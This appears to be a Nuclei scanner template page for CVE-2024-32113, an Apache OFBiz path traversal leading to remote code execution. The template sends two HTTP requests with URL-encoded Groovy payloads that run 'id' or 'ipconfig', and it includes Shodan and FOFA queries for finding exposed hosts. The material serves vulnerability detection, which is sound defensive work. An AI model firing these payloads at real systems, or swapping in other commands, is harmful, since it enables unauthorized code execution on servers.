CVE-2024-32113: Apache OFBiz Directory Traversal - Remote Code Execution
- Template: CVE-2024-32113
- Name: Apache OFBiz Directory Traversal - Remote Code Execution
- Description: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13
- Impact: An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
- Remediation: Users are recommended to upgrade to version 18.12.13, which fixes the issue.
- Severity: high
- Authors: DhiyaneshDK
- Tags: cve, cve2024, apache, ofbiz, rce, kev, vkev, vuln
- References: https://issues.apache.org/jira/browse/OFBIZ-13006, https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd, https://ofbiz.apache.org/download.html, https://ofbiz.apache.org/security.html, https://github.com/absholi7ly/Apache-OFBiz-Directory-Traversal-exploit, https://nvd.nist.gov/vuln/detail/CVE-2024-32113
- Cves: CVE-2024-32113
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-32113.yaml
- Digest: 490a0046304402205be9256ad156af0f2ab98fa78f1ed7a25d6ce01c565d18c43db3b172786e60fc02202dfdfbf0e9fb2d0ae3aea443e64342ee4390bae17529dc88537e6a6db6101d54
- Created at: 2024-06-15T12:40:43Z
- Updated at: 2026-10-25T02:06:46Z
- Age in days: 892
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-32113.yaml
Classification
- Cwe: CWE-22
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.99916
- Epss percentile: 0.99969
- Cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="Apache_OFBiz"
- Max-request: 1
- Product: ofbiz
- Shodan-query: title:"OFBiz"
- Vendor: apache
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| apache:ofbiz | yes | /v1/products/apache/ofbiz |
Labels
- Name: Apache OFBiz - Path Traversal
- Impact: Attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.
- Remediation: Update to version 18.12.13 or later.
- Vulnerability type: path_traversal
- Vulnerability impact: file_system_read, information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-32113
- Not known: requirements
```yaml
id: CVE-2024-32113
info:
name: Apache OFBiz Directory Traversal - Remote Code Execution
author: DhiyaneshDK
severity: high
description: |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13
impact: |
An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
remediation: |
Users are recommended to upgrade to version 18.12.13, which fixes the issue.
reference:
- https://issues.apache.org/jira/browse/OFBIZ-13006
- https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd
- https://ofbiz.apache.org/download.html
- https://ofbiz.apache.org/security.html
- https://github.com/absholi7ly/Apache-OFBiz-Directory-Traversal-exploit
- https://nvd.nist.gov/vuln/detail/CVE-2024-32113
classification:
cve-id: CVE-2024-32113
cvss-score: 9.8
cwe-id: CWE-22
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
epss-score: 0.99916
epss-percentile: 0.99969
cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
fofa-query: app="Apache_OFBiz"
shodan-query: 'title:"OFBiz"'
product: ofbiz
vendor: apache
tags: cve,cve2024,apache,ofbiz,rce,kev,vkev,vuln
http:
- raw:
- |
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%64%27.%65%78%65%63%75%74%65().%74%65%78%74);
- |
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%70%63%6F%6E%66%69%67%27.%65%78%65%63%75%74%65().%74%65%78%74);
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
condition: or
- type: word
part: body
words:
- 'java.lang.Exception'
- type: status
status:
- 200
digest: 490a0046304402205be9256ad156af0f2ab98fa78f1ed7a25d6ce01c565d18c43db3b172786e60fc02202dfdfbf0e9fb2d0ae3aea443e64342ee4390bae17529dc88537e6a6db6101d54:922c64590222798bb761d5b6d8e72950
```